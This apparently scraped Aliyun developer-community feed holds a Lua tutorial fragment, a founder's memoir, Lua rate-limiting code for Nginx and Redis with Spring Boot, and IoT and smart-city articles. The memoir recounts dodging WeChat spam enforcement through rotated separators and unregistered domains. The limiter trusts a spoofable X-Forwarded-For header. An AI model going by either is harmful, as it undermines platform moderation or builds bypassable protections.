                  • argument1, argument2, argument3..., argumentn: 函数参数,多个参数以逗号隔开,函数也可以不带参数。
                  • function_body: 函数体,函数中需要执行的代码语句块。
                  • result_params_comma_separated: 函数返回值,Lua语言函数可以返回多个值,每个值以逗号隔开。
                  多返回值

                  Lua函数中,在return后列出要返回的值的列表即可返回多值。

                  可变参数

                  Lua 函数可以接受可变数目的参数,和 C 语言类似,在函数参数列表中使用三点 ... 表示函数有可变的参数。
                  有时候可能需要几个固定参数加上可变参数,则固定参数必须放在变长参数之前。
                  通常在遍历变长参数的时候只需要使用 {…},然而变长参数可能会包含一些 nil,那么就可以用 select 函数来访问变长参数了:select('#', …) 或者 select(n, …)

                  • select('#', …) 返回可变参数的长度
                  • select(n, …) 返回它的第n个可变实参
                  function average(...)
                     result = 0
                     local arg={...}    
                     for i,v in ipairs(arg) do
                        result = result + v
                     end 
                     return result/#arg    --或者 return result/select("#",...)
                  end

                  Lua 运算符

                  算术运算符

                  | 操作符 | 描述 |
                  | - | - |
                  | + | 加法 |
                  | - | 减法/负号 |
                  | * | 乘法 |
                  | / | 除法 |
                  | % | 取余 |
                  | ^ | 乘幂 |

                  关系运算符

                  | 操作符 | 描述 |
                  | - | - |
                  | == |等于,检测两个值是否相等,相等返回 true,否则返回 false |
                  | ~= | 不等于,检测两个值是否相等,相等返回 false,否则返回 true |
                  | > | 大于,如果左边的值大于右边的值,返回 true,否则返回 false |
                  | < | 小于,如果左边的值大于右边的值,返回 false,否则返回 true |
                  | >= | 大于等于,如果左边的值大于等于右边的值,返回 true,否则返回 false |
                  | <= | 小于等于, 如果左边的值小于等于右边的值,返回 true,否则返回 false|

                  逻辑运算符

                  | 操作符 | 描述 |
                  | - | - |
                  | and |逻辑与操作符。|
                  | or | 逻辑或操作符。|
                  | not | 逻辑非操作符。|

                  其他运算符

                  |操作符 | 描述 |
                  | - | - |
                  | .. | 连接两个字符串 |
                  | # | 一元运算符,返回字符串或表的长度。 |

                  运算符优先级

                  |从高到低的顺序|
                  | - |
                  | ^ |
                  | not - (unary) |
                  | * / |
                  | + - |
                  | .. |
                  | < > <= >= ~= == |
                  | and |
                  | or |
                  除了^和..外所有的二元运算符都是左连接的。

                  Lua 字符串

                  Lua 语言中字符串可以使用以下三种方式来表示:

                  • 单引号间的一串字符。
                  • 双引号间的一串字符。
                  • [[和]]间的一串字符。
                  字符串操作

                  | 方法 | 用途 |
                  | - | - |
                  | string.upper(argument) | 全部转为大写 |
                  | string.lower(argument) | 全部转为小写 |
                  | string.gsub(mainString,findString,replaceString,num) |在字符串中替换,mainString为要替换的字符串, findString 为被替换的字符,replaceString 要替换成的字符,num 替换次数(可以忽略,则全部替换)|
                  | string.find (mainString, findString, [startIndex, [endIndex]]) | 在一个指定的目标字符串中搜索指定的内容(第三个参数为索引),返回其具体位置。不存在则返回 nil。|
                  | string.reverse(arg) | 字符串反转 |
                  | string.format(...) | 返回一个类似printf的格式化字符串 |
                  | string.char(ASCIICodes...) | 将ASCII码转成字符并连接|
                  | string.byte(str[,index]) | 将指定的字符转成ASCII码(默认第一个字符)|
                  | string.len(arg) | 计算字符串长度 |
                  | string.rep(str, n) | 返回字符串string的n个拷贝 |
                  | .. | 链接两个字符串 |
                  | string.gmatch(str, pattern) | 返回一个迭代器函数,每一次调用这个函数,返回一个在字符串 str 找到的下一个符合 pattern 描述的子串。如果参数 pattern 描述的字符串没有找到,迭代函数返回nil。|
                  |string.match(str, pattern, init) | string.match()只寻找源字串str中的第一个配对. 参数init可选, 指定搜寻过程的起点, 默认为1。
                  在成功配对时, 函数将返回配对表达式中的所有捕获结果; 如果没有设置捕获标记, 则返回整个配对字符串. 当没有成功的配对时, 返回nil。 |

                  Lua 数组

                  Lua 数组的索引键值可以使用整数表示,数组的大小不是固定的。
                  可以使用整数索引来访问数组元素,如果指定的索引没有值则返回nil。
                  Lua 索引值是以 1 为起始,但也可以指定 0 开始,除此之外还可以以负数为数组索引值。

                  Lua 迭代器

                  迭代器(iterator)是一种对象,它能够用来遍历标准模板库容器中的部分或全部元素,每个迭代器对象代表容器中的确定的地址
                  在Lua中迭代器是一种支持指针类型的结构,它可以遍历集合的每一个元素。

                  泛型 for 迭代器

                  泛型 for 在自己内部保存迭代函数,实际上它保存三个值:迭代函数、状态常量、控制变量。
                  泛型 for 迭代器提供了集合的 key/value 对,语法格式如下:

                  for k, v in pairs(t) do
                      print(k, v)
                  end

                  k, v为变量列表;pairs(t)为表达式列表。

                  Lua 的迭代器包含以下两种类型:
                  无状态的迭代器

                  无状态的迭代器是指不保留任何状态的迭代器,因此在循环中可以利用无状态迭代器避免创建闭包花费额外的代价。
                  每一次迭代,迭代函数都是用两个变量(状态常量和控制变量)的值作为参数被调用,一个无状态的迭代器只利用这两个值可以获取下一个元素。

                  例如使用一个简单的函数来实现迭代器,实现数字 n 的平方:

                  function square(iteratorMaxCount,currentNumber)
                     if currentNumber<iteratorMaxCount
                     then
                        currentNumber = currentNumber+1
                     return currentNumber, currentNumber*currentNumber
                     end
                  end
                  
                  for i,n in square,3,0
                  do
                     print(i,n)
                  end
                  多状态的迭代器

                  很多情况下,迭代器需要保存多个状态信息而不是简单的状态常量和控制变量,最简单的方法是使用闭包,还有一种方法就是将所有的状态信息封装到table内,将table作为迭代器的状态常量,因为这种情况下可以将所有的信息存放在table内,所以迭代函数通常不需要第二个参数。

                  例如:

                  function elementIterator (collection)
                     local index = 0
                     local count = #collection
                     -- 闭包函数
                     return function ()
                        index = index + 1
                        if index <= count
                        then
                           --  返回迭代器的当前元素
                           return collection[index]
                        end
                     end
                  end
                  
                  array = {"Lua", "Tutorial"}
                  for element in elementIterator(array)
                  do
                     print(element)
                  end

                  Lua table(表)

                  table 是 Lua 的一种数据结构用来帮助我们创建不同的数据类型,如:数组、字典等。
                  Lua table 使用关联型数组,可以用任意类型的值来作数组的索引,但这个值不能是 nil。
                  Lua table 是不固定大小的,可以根据自己需要进行扩容。
                  Lua也是通过table来解决模块(module)、包(package)和对象(Object)的。 例如string.format表示使用"format"来索引table string。

                  | 方法 | 用途 |
                  | - | - |
                  | table.concat (tableObj [, separator [, startIndex [, endIndex]]]) | 列出tableObj从startIndex位置到endIndex位置的所有元素, 元素间以指定的分隔符(separator)隔开。|
                  | table.insert (tableObj, [index,] value) | 在tableObj的指定位置(index)插入值为value的一个元素。index参数可选, 默认为末尾。 |
                  | table.remove (tableObj [, index]) | 返回tableObj位于index位置的元素。 其后的元素会被前移。index参数可选, 默认为table长度, 即从最后一个元素删起。 |
                  | table.sort (tableObj [, comp]) | 对给定的table进行升序排序。comp应满足以下条件: 接受两个参数(依次为a, b), 并返回一个布尔型的值, 当a应该排在b前面时, 返回true, 反之返回false. |

                  【转载请注明出处】:https://developer.aliyun.com/article/758555

                  ]]>
                  至暗时刻,风“云”突变(二):2015到2019,从5到70,从0到100万,技术推动业务的云实践,我创业的这4年-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在总结了Q2的成果后,我们制定了在Q2基础上翻番的Q3目标,这已经是相对保守,但是我们更需要KPI完成甚至是超额的那种喜悦了。

                  Q3我们做了组织架构调整,原来客户端负责同学,也是我们的合伙人之一,转做产品设计,我接手客户端团队,负责整个技术团队。因为业务方向的调整,所以原客户端团队面临人员流失的现状,客观现实就是我们自己也无法明确未来是否有移动客户端需求,直白的说可以明确的只有web&h5业务需求会持续推进。虽然已经非常明确客户端团队的现状,我依然将客户端团队的同学纳入到和后端、桌面端的统一管理中;人员不多,iOS、Android、Web&H5各1位同学,每天早上的站立会议,日常的计划安排我都会和他们一一确认。由于客户端的开发需求已经没有安排,也没有时间上的约束,尽管我内心认为不远的未来我们将重新启动客户端,我依然安排他们各自的学习提升,但是这种状态对于客户端的同学来说是难熬的,没过多久,iOS和Android的同学陆续离开了,Android由桌面端的负责同学接手,iOS由我们的合伙人接手。

                  这个阶段,后端依然在扩张招聘。从当时的业务发展来看,我们的需求依然巨大,人手紧缺,不过我招聘的时候,留意了一下候选同学的特点,我招了一个年轻的小伙子,不但做后端,而且有Android开发经验,一年后,他成为Android客户端的负责同学,这是后话。当时的后端在我看来稳固可依靠,有已经成长起来可以担当的小伙伴,也有快速成长为中坚的同学,需要再补充可培养稳定成长的新人。前端尽管需求不断,但是当时前端有两位同学支持,需求无法饱和,很难满足小伙伴的成长诉求,分离在所难免。在我接手后没多久,前端的一位同学也离开了。因此大概到Q3结束的时候,客户端其实就一位同学。但是我无暇顾及,因为我们遇到了更大的麻烦。

                  我们对Q3的美好预期,很快就被现实残酷的击碎:WX大面积封杀涉嫌程序控制的个人号和WX群。早在Q2我们就上线了面向WX的群管工具及功能,同样是现实所迫,QQ群购买转化的大幅度下降,群成员的严重流失,WX群及朋友圈导购的火爆,淘客社群很快向WX社群迁移,人们重新审视WX群的规则以及WX的稳定关系,这一切在电商看来都是QQ所无法比拟的属性;一个不恰当的比喻,QQ其实更像平台,去留之间无留念,其对群相对弱的管理规则,可能会一时热点兴起,又会逝如潮水,WX更像现实社交关系的线上投影,总让人难舍去留,所以商业化对于WX的负面总会大那么一点,就像后来ZXL说的,希望能引人向善(非原话),这让WX在商业化上很难做到去留两昆仑的豪迈。

                  回到炽热难耐的Q3,对我们来说却是寒冷彻骨,我们了解到封杀起于基于WX的大量灰产,政府对于这些领域的整顿和打击,无法避免的波及到了正常的电商导购。虽然WX官方并未正式反馈对于电商特别是淘宝在WX的干预,但是事实是到Q4,基于淘宝导购的小程序,H5访问从申请到访问都无法如之前一样正常了。不过,人民群众的智慧是强大的,由于背后商业利益的巨大驱动,我们也加入到这一场轰轰烈烈的“攻防战”中。总结一下:

                  1、关于WX号,其实很多还是因为号本身有问题,由于淘客需要管理大量的群,而背后的人其实很少,所以有大量的机器号存在,这些号缺少真实正常的用户操作,只是在群里发图、发文字,很快被嫌疑了;另外,有不少购买了本身就存在污点的WX号,所谓的污点是指这些号在购买之前就涉嫌违规过,所以很容易被嫌疑;实际上,大多数正常使用的WX号并没有受影响;

                  2、关于WX群,这里面主要是群主,如果群主的WX号有问题,那么WX群就会有问题了;

                  3、关于链接和淘口令,链接很早就无法直接引导了,也不是这次的结果;淘口令成为了敏感词,所以不断更新的淘口令分隔符,就像猫鼠游戏一样乐此不疲;但是如果内容是淘宝商品图片和购买口令,一旦传播超过一定数量就会触发封禁,这就成为无数无备案域名的原始动力,在这个大背景下,我们也发现居然还有搜狐快站这样的神奇存在。

                  当然,除此之外还有很多,诸如前面提过的图片问题,发送格式、形式、内容等等,整个Q我们就在不停的处理类似的问题;这一切问题现在看来,被新型的社交电商通过真实的人群应用给消弭了,问题还会有,只是没有以前那么严重了,为什么,也许在2017年WX被当做一个纯粹的平台来看待和应对了,而这不是WX所希望的。每个产品都有自己的性格、风格和价值观,如要持久,就要坚守,否则都要烟消云散。

                  我的团队不但要面临各种突发的封禁处理,还要快速了解我们新踏入领域的深度技能:开局顺利,很快就让我们进入深水区,在淘客导购领域,我们还是小白,导购的本质是通过推销商品获取广告收益,不像电商,售卖商品赚取差价,我们需要更深入了解淘宝广告体系的规则、阿里妈妈的规则;如何获取更高的收益,如何快速获取高性价比的货源渠道,不但要专研阿里妈妈,还要学习对手;当然,学习是我们的强项。

                  我也面临一个棘手的问题,原有客户端的开发模式和我带的后端团队有很大的差异,一方面客户端的开发强度和任务量之前并不高,一方面由于各条线人员不多,所以基本上没有规范的开发方式,虽然小伙伴都各自学习了许多先进的开发工具,手段,但实际上对于团队协作并没有太多的认识。很快,我就遇到了我接任以来的第一次危机……(未完待续)

                  ]]>
                  分布式限流之Nginx+Lua实现-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 【转载请注明出处】:https://developer.aliyun.com/article/758600

                  Lua 代码:

                  local locks = require "resty.lock"
                  
                  local function acquire()
                      local lock =locks:new("locks")
                      local elapsed, err =lock:lock("limit_key") --互斥锁
                      local limit_counter =ngx.shared.limit_counter --计数器
                  
                      local key = "ip:" ..os.time()
                      local limit = 5 --限流大小
                      local current =limit_counter:get(key)
                  
                      if current ~= nil and current + 1> limit then --如果超出限流大小
                         lock:unlock()
                         return 0
                      end
                      if current == nil then
                         limit_counter:set(key, 1, 1) --第一次需要设置过期时间,设置key的值为1,过期时间为1秒
                      else
                          limit_counter:incr(key, 1) --第二次开始加1即可
                      end
                      lock:unlock()
                      return 1
                  end
                  ngx.print(acquire())

                  Nginx

                  http {
                  
                      ……
                      lua_shared_dict locks 10m;
                      lua_shared_dict limit_counter 10m;
                  
                  }

                  【转载请注明出处】: https://developer.aliyun.com/article/758600

                  ]]>
                  分布式限流之Redis+Lua实现-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 【转载请注明出处】:https://developer.aliyun.com/article/758604

                  分布式限流最关键的是要将限流服务做成原子化,而解决方案可以使用redis+lua或者nginx+lua技术进行实现,通过这两种技术可以实现的高并发和高性能。

                  首先我们来使用redis+lua实现时间窗内某个接口的请求数限流,实现了该功能后可以改造为限流总并发/请求数和限制总资源数。Lua本身就是一种编程语言,也可以使用它实现复杂的令牌桶或漏桶算法。
                  因操作是在一个lua脚本中(相当于原子操作),又因Redis是单线程模型,因此是线程安全的。

                  相比Redis事务来说,Lua脚本有以下优点

                  • 减少网络开销: 不使用 Lua 的代码需要向 Redis 发送多次请求,而脚本只需一次即可,减少网络传输;
                  • 原子操作:Redis 将整个脚本作为一个原子执行,无需担心并发,也就无需事务;
                  • 复用:脚本会永久保存 Redis 中,其他客户端可继续使用。

                  下面使用SpringBoot项目来进行介绍。

                  准备Lua 脚本

                  req_ratelimit.lua

                  local key = "req.rate.limit:" .. KEYS[1]   --限流KEY
                  local limitCount = tonumber(ARGV[1])       --限流大小
                  local limitTime = tonumber(ARGV[2])        --限流时间
                  local current = tonumber(redis.call('get', key) or "0")
                  if current + 1 > limitCount then --如果超出限流大小
                      return 0
                  else  --请求数+1,并设置1秒过期
                      redis.call("INCRBY", key,"1")
                      redis.call("expire", key,limitTime)
                      return current + 1
                  end
                  • 我们通过KEYS[1] 获取传入的key参数
                  • 通过ARGV[1]获取传入的limit参数
                  • redis.call方法,从缓存中get和key相关的值,如果为nil那么就返回0
                  • 接着判断缓存中记录的数值是否会大于限制大小,如果超出表示该被限流,返回0
                  • 如果未超过,那么该key的缓存值+1,并设置过期时间为1秒钟以后,并返回缓存值+1

                  准备Java项目

                  pom.xml加入
                  <dependencies>
                      <dependency>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-starter-web</artifactId>
                      </dependency>
                      <dependency>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-starter-data-redis</artifactId>
                      </dependency>
                      <dependency>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-starter-aop</artifactId>
                      </dependency>
                      <dependency>
                          <groupId>org.apache.commons</groupId>
                          <artifactId>commons-lang3</artifactId>
                      </dependency>
                      <dependency>
                          <groupId>org.springframework.boot</groupId>
                          <artifactId>spring-boot-starter-test</artifactId>
                      </dependency>
                  </dependencies>

                  Redis 配置

                  spring.redis.host=127.0.0.1 
                  spring.redis.port=6379 
                  spring.redis.password=
                  spring.redis.database=0
                  # 连接池最大连接数(使用负值表示没有限制)
                  spring.redis.jedis.pool.max-active=20
                  # 连接池最大阻塞等待时间(使用负值表示没有限制)
                  spring.redis.jedis.pool.max-wait=-1
                  # 连接池中的最大空闲连接
                  spring.redis.jedis.pool.max-idle=10
                  # 连接池中的最小空闲连接
                  spring.redis.jedis.pool.min-idle=0
                  # 连接超时时间(毫秒)
                  spring.redis.timeout=2000
                  限流注解

                  注解的目的,是在需要限流的方法上使用

                  @Target({ElementType.TYPE, ElementType.METHOD})
                  @Retention(RetentionPolicy.RUNTIME)
                  public @interface RateLimiter {
                  
                      /**
                       * 限流唯一标识
                       * @return
                       */
                      String key() default "";
                  
                      /**
                       * 限流时间
                       * @return
                       */
                      int time();
                  
                      /**
                       * 限流次数
                       * @return
                       */
                      int count();
                  
                  }
                  lua文件配置及RedisTemplate配置
                  @Aspect
                  @Configuration
                  @Slf4j
                  public class RateLimiterAspect {
                  
                  
                      @Autowired
                      private RedisTemplate<String, Serializable> redisTemplate;
                  
                      @Autowired
                      private DefaultRedisScript<Number> redisScript;
                  
                      @Around("execution(* com.sunlands.zlcx.datafix.web ..*(..) )")
                      public Object interceptor(ProceedingJoinPoint joinPoint) throws Throwable {
                  
                          MethodSignature signature = (MethodSignature) joinPoint.getSignature();
                          Method method = signature.getMethod();
                          Class<?> targetClass = method.getDeclaringClass();
                          RateLimiter rateLimit = method.getAnnotation(RateLimiter.class);
                  
                          if (rateLimit != null) {
                              HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
                              String ipAddress = getIpAddr(request);
                  
                              StringBuffer stringBuffer = new StringBuffer();
                              stringBuffer.append(ipAddress).append("-")
                                      .append(targetClass.getName()).append("- ")
                                      .append(method.getName()).append("-")
                                      .append(rateLimit.key());
                  
                              List<String> keys = Collections.singletonList(stringBuffer.toString());
                  
                              Number number = redisTemplate.execute(redisScript, keys, rateLimit.count(), rateLimit.time());
                  
                              if (number != null && number.intValue() != 0 && number.intValue() <= rateLimit.count()) {
                                  log.info("限流时间段内访问第:{} 次", number.toString());
                                  return joinPoint.proceed();
                              }
                  
                          } else {
                              return joinPoint.proceed();
                          }
                  
                          throw new RuntimeException("已经到设置限流次数");
                      }
                  
                      public static String getIpAddr(HttpServletRequest request) {
                          String ipAddress = null;
                          try {
                              ipAddress = request.getHeader("x-forwarded-for");
                              if (ipAddress == null || ipAddress.length() == 0 || "unknown".equalsIgnoreCase(ipAddress)) {
                                  ipAddress = request.getHeader("Proxy-Client-IP");
                              }
                              if (ipAddress == null || ipAddress.length() == 0 || "unknown".equalsIgnoreCase(ipAddress)) {
                                  ipAddress = request.getHeader("WL-Proxy-Client-IP");
                              }
                              if (ipAddress == null || ipAddress.length() == 0 || "unknown".equalsIgnoreCase(ipAddress)) {
                                  ipAddress = request.getRemoteAddr();
                              }
                              // 对于通过多个代理的情况,第一个IP为客户端真实IP,多个IP按照','分割
                              if (ipAddress != null && ipAddress.length() > 15) {
                                  // "***.***.***.***".length()= 15
                                  if (ipAddress.indexOf(",") > 0) {
                                      ipAddress = ipAddress.substring(0, ipAddress.indexOf(","));
                                  }
                              }
                          } catch (Exception e) {
                              ipAddress = "";
                          }
                          return ipAddress;
                      }
                  
                  
                  }
                  控制层
                  @RestController
                  @Slf4j
                  @RequestMapping("limit")
                  public class RateLimiterController {
                  
                      @Autowired
                      private RedisTemplate redisTemplate;
                  
                      @GetMapping(value = "/test")
                      @RateLimiter(key = "test", time = 10, count = 1)
                      public ResponseEntity<Object> test() {
                  
                          String date = DateFormatUtils.format(new Date(), "yyyy-MM-dd HH:mm:ss.SSS");
                          RedisAtomicInteger limitCounter = new RedisAtomicInteger("limitCounter", redisTemplate.getConnectionFactory());
                          String str = date + " 累计访问次数:" + limitCounter.getAndIncrement();
                          log.info(str);
                          return ResponseEntity.ok(str);
                      }
                  }

                  启动项目进行测试

                  不断访问url http://127.0.0.1:8090/limit/test,效果如下:
                  image.png

                  image.png

                  我这里为了简单演示是直接抛了一个RuntimeException,实际可以单独定义一个如RateLimitException,在上层直接处理这种频次限制的异常,以友好的方式返回给用户。

                  【转载请注明出处】:https://developer.aliyun.com/article/758604

                  ]]>
                  智慧城市:十年的进步-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 8.12.19-Smart-Cities-A-Decade-of-Progress-1068x656_副本.jpg

                  在短短的十多年里,智能手机给我们的生活带来了深刻的变化。他们给世界各地的人们提供了新的交流、联系和消费方式,因此,人们普遍认为他们是不可或缺的。

                  但是,它们不仅改变了我们个人和职业生活的面貌。它们还帮助公众熟悉了物联网(IoT),即使用带有数字传感器的机器来收集数据,并通过互联网连接来共享和分析数据,以便识别模式并提高更大系统的性能。因此,他们为其他领域(包括工业设施和公用电网)采用智能设备和分析程序铺平了道路。

                  公共广场也将受益于这一趋势,智能城市概念的日益流行就是明证,该概念要求使用物联网和分析系统收集和处理与城市生活体验相关的信息。本文将探讨过去十年来,市政当局试图利用这类技术改善城市运作的几种方式。

                  安全保障

                  智慧城市的概念是在911(美国境内有史以来最大的恐怖袭击)记忆仍然相对新鲜的时候出现的。结果,它不可避免地导致各级政府机构,联邦、州、县和市政府考虑技术如何帮助保持公众安全。

                  关于这个话题的讨论不仅限于恐怖主义,而恐怖主义在美国仍然是一个相对罕见的现象。它们扩展到犯罪领域,这是对公共秩序的一种更为常见的威胁。因此,市政府开始考虑物联网和分析技术如何帮助他们提高这方面的绩效。

                  最早采取行动的城市之一是加利福尼亚的圣克鲁斯,该城市于2011年启动了预测性警务试点计划。在该计划的作用下,该市警察局开始使用计算机算法分析犯罪数据。这有助于该部门识别并绘制“热点”,而这些热点将从更频繁的巡逻中受益。由于它每天都会更新巡逻地图,因此它还使警务人员能够对新的事态发展和趋势做出更快的反应。

                  自试点项目结束以来,圣克鲁斯采用了PredPol,这是一个基于云的预测性警务软件包,来自设计原始算法的同一研究人员。它的成功启发了加州其他城市研究PredPol和其他类似类型的解决方案。

                  公共服务与生活质量

                  同时,警务并不是受智慧城市概念影响的唯一公共服务。

                  市政当局还寻求技术来管理停车服务。例如,荷兰首都阿姆斯特丹使用Mobypark手机应用程序来帮助用户找到停车位并按需付费。市政官员说,该应用程序有助于减少交通流量和交通拥堵。加利福尼亚州拉古纳比奇(Laguna Beach)使用Frogparking(由一家新西兰公司设计的类似应用程序)来管理城市拥有的停车位。该系统还允许市政当局使用智能咪表的数据,对不支付停车费的司机开罚单用。

                  同样,将公共交通纳入智慧城市规划的时机已经成熟。在西班牙,巴塞罗那的CityOS计划通过使用物联网传感器的信息优化公交线路,帮助通勤者减少等待时间。这些传感器评估街道交通模式,统计在公共汽车站等候的人数,将数据输入一个中央系统,该系统可以根据需要重新安排公共汽车路线。俄亥俄州哥伦布市则在2017年与当地一家公用事业公司合作,推广电动汽车的使用。这家名为“美国电力俄亥俄州”的公用事业公司帮助市政当局建立了新的车辆充电站,并建立了帮助司机保持车辆通电的系统。

                  同样,智慧城市的概念可以帮助市政当局管理能源消耗和环境影响。斯德哥尔摩利用公共拥有的光纤网络来实施绿色IT计划,该计划旨在通过提高能源效率来降低供暖成本和排放。加利福尼亚州圣利安卓(San Leandro)于2016年末启动了ZipPower项目,以优化当地能源资源。在ZipPower框架内,它已采取措施来促进小型可再生能源系统的使用,并创建了一个软件平台,可帮助消费者最大程度地降低用电成本。

                  其中一些智慧城市环境监测计划甚至具有公共卫生方面的内容。例如,哥本哈根与Google合作,收集有关污染水平的信息,这些信息可用于生成地图样式的图形。这些地图基于从Google的StreetView汽车上安装的监视器收集的数据,显示了该城市每个区域的空气质量指数。然后,居民可以利用它们找到步行,慢跑,骑自行车和其他可改善生活质量的户外活动的最佳路线。

                  朝着更全面的方向发展

                  上述所有程序代表了较旧系统的进步。但是,在大多数情况下,它们一次只影响城市生活的一两个特定方面(停车,交通,犯罪,公共交通等)。换句话说,他们帮助用户的能力有限。

                  随着时间的推移,这种情况可能会改变。坚持智慧城市理念的城市可能会寻找更全面的解决方案,以使城市体验整体更加无缝的方式整合多组数据。

                  确实,有些已经朝这个方向发展。在阿拉伯联合酋长国,迪拜推出了手机应用程序和可充电智能卡,使居民能够支付各种公共和私人服务(包括但不限于交通罚款,水和电源以及与商业相关的交易)和访问公共交通网络。同时,新加坡使用其Smart Nation Sensor Platform收集有关基础设施,房屋和公共设施的数据。然后,它将信息输入到一个分析系统中,该系统旨在促进对服务的访问,提高生产率并确保公共安全。

                  由于这些计划,新加坡和迪拜都在充分发挥智能城市概念潜力的道路上。最终,市政府应该能够走得更远,将迪拜的支付和访问解决方案的功能与新加坡平台的分析功能集成在一起。如果这样做的话,他们将改变城市居民的生活。


                  原文链接 ]]>
                  将LoRa和Google Cloud用于IIoT应用程序-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 2.20.19-LoRA-and-GCP-1068x656_副本.jpg

                  工业物联网(IIoT)应用程序与其他消费者和企业应用程序有很多不同,这有很多原因。它们通常受到各种因素的限制,包括电源访问受限,网络连接挑战,网络安全要求和危险的物理环境。从耐用性到电池优化,IIoT解决方案必须采用最高标准来设计。

                  LoRa在IIoT上的优势

                  LoRa(Long Range)是指Semtech制造的低功耗,广域网技术(LPWAN)的物理层。它在无需许可的千兆赫兹无线电频段中运行。顾名思义,LoRa的作用范围很广,覆盖范围大大超过了WiFi,蓝牙或Zigbee网络,并且在理想条件下可以延伸数十英里。

                  部署的LoRa传感器以未经确认的“Pure ALOHA”方案在这些无线电频段上将数据异步传输到最近的网关设备。然后,网关使用蜂窝,WiFi或以太网接收这些消息并将其回传到云。这些网关每个可以支持数以万计的传感器。

                  在许多IIoT场景中,对本地网络(WiFi /以太网)的访问受到限制。大多数工业环境都处理自动化或人工驱动的机械和化学过程,这些过程不依赖于Internet来运行。此外,持续维修设备可能会非常困难甚至危险,因此传感器的耐用性和低功耗至关重要。

                  大多数LoRa设备的设计均符合这些标准(IP67,多年电池寿命),这意味着它们可以与多个网关一起安装,以覆盖整个工厂车间,进行长期部署。此外,网关处的设备身份验证和AES128加密可确保数据在到达云之前是防篡改的。

                  企业云Google Cloud PlatformGCP

                  为了管理大规模传感器部署,对云平台有很多要求,以最大程度地利用IIoT应用程序的价值。在这方面,Google Cloud Platform在与其他企业云提供商的竞争中处于独特的位置。他们提供了专门为处理大数据而设计的各种工具,从无服务器分析服务到数据中心的全球网络和专有光纤,可加快迁移和部署的速度。从安全性到设备管理再到批量和实时数据处理,机器学习等,GCP满足了一系列IIoT(和IoT)用例的需求。

                  IIoT应用程序与消费者和非工业企业IoT应用程序有很大不同的原因有很多。它们通常受到以下因素的限制,例如:电力供应受限,网络连接挑战,网络安全要求和危险的物理环境。因此,从耐用性到电池寿命,IIoT解决方案必须采用最高标准来设计。


                  原文链接 ]]>
                  物联网的崛起:从静态产品到动态服务-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 8.12.19-IoT-Rising-From-Static-Products-to-Dynamic-Services_副本.png

                  公司正处于深度转型之中。区块链,机器学习和物联网(IoT)等新技术的兴起为业务增长带来了令人兴奋的机遇。互联产品正在改变人们与对象互动的方式以及他们对品牌的感知方式,使公司能够超越静态产品来满足当今不断变化的消费者的需求。

                  如何从产品转向服务

                  物联网允许产品和服务的集成;带有嵌入式传感器的智能连接对象帮助公司获取数据、提取见解、监控用户行为并提高质量。公司需要了解如何连接对象,最重要的是,如何集成其服务,以提高效率和盈利能力。如IBM最近的一篇文章所示,有几种方法可以将服务集成到产品中:service-for-products, service-with-products, and product-as-a-service。

                  Services-for-products

                  服务可以提高产品的质量和耐用性。此类集成的一个很好的例子是智能维护,当将维护服务集成到需要定期监视的产品中时,可以使用智能维护。此应用程序在工业机械中很常见,在工业机械中,连接的设备可以连续地在云中发送其状态以预测和优化维护操作。Microsoft创建了几种工业智能维护产品,以帮助公司在建筑物维护经理甚至知道潜在问题之前就发现了潜在问题。

                  Services-with-products

                  服务可以扩展产品的价值,因为客户愿意为包含服务的产品支付更多的费用。特斯拉车主可以通过空中更新其汽车软件,并且不需要像其他汽车公司一样的服务中心。当有可用更新时,他们可以通过WiFi下载新版本,这种服务使产品变得更安全,并随着时间的推移增强了功能。

                  Product-as-a-service

                  产品即服务(Product-as-a-service)是一种商业模式,它在传统上作为产品销售的领域提供服务。IBM提供了一个很好的案例研究,展示了医院和医疗设施通过将其产品转换为“as-a-service”模式来降低维护成本。

                  美国的公共建筑花费大量资金来维护出口标志;安全标志每年需要测试一次,每次测试大约持续20分钟。每年每个标志的成本约为35美元,再加上单个标志和安装的成本。借助物联网,可以将产品转换为服务,因为房屋所有者不必购买产品,而是可以订阅一项服务,该服务可以持续监视系统状态并进行远程维护。

                  服务应用

                  在开始数字化流程并将服务嵌入产品中之前,公司必须了解如何应用物联网等技术。

                  《亚马逊物联网之路(Amazon Way on IoT)》的作者约翰·罗斯曼(John Rossman)提出了IoT连接的四个层次,其中每个层次都可以激活一种不同类型的服务:

                  Level 1: 跟踪Tracking

                  入门级别是关于跟踪和从用户那里获取数据。诸如健身腕带之类的已连接设备可以告诉用户行走,奔跑或睡觉的时间。这些服务有助于可视化和管理数据。公司可以提高对产品与用户行为之间关系的认识。

                  Level 2:见解(Insights)

                  连接的设备在云中接收和发送数据,在云中分析不仅可以收集和可视化数据,还可以从过去的操作中提取价值,从而帮助获得洞察。

                  Level 3:优化(Optimization)

                  借助预习系统(prevision systems),机器学习技术可以将数据从见解转移到预测,从而帮助理解模型并改善未来的操作。

                  Level 4:网络协调(Network Coordination)

                  连接的对象可以相互通信,并改变它们对未来行为的预测;设备不是单独的,而是在系统中协同工作。

                  数据的价值

                  产品中的数字服务由数据提供动力。数据专家已经从花时间在数据准备上转移到了花大量时间在数据分析上。今天,我们处于Analytics 3.0时代:数据丰富的产品时代。数据嵌入产品和服务中,以创造新的机会。

                  Bosh创造了一个所谓的智能产品。他们不仅销售产品,而且还提供一个了解人们对产品的采用和使用的平台。他们已经从小型发动机传感器转向车队管理系统,从安全摄像头转向安全系统。

                  通用电气开始从涡轮机,机车和发动机流式传输数据,以预测维护和运行情况。

                  在这个时代,收集信息还不够。我们一直在不断更新数据,我们需要捷径将信息转变为见解,以便制定决策并采取行动。

                  数据科学已经成为21世纪最性感的职业,当他们从华尔街走向硅谷时,他们不想只给出建议。相反,他们想建立一些东西,他们把咨询描述为“死区(the dead zone)”,他们在产品开发中扮演着重要的角色,他们可以加速改进,因为在敏捷世界中,敏捷可能太慢了。

                  小结

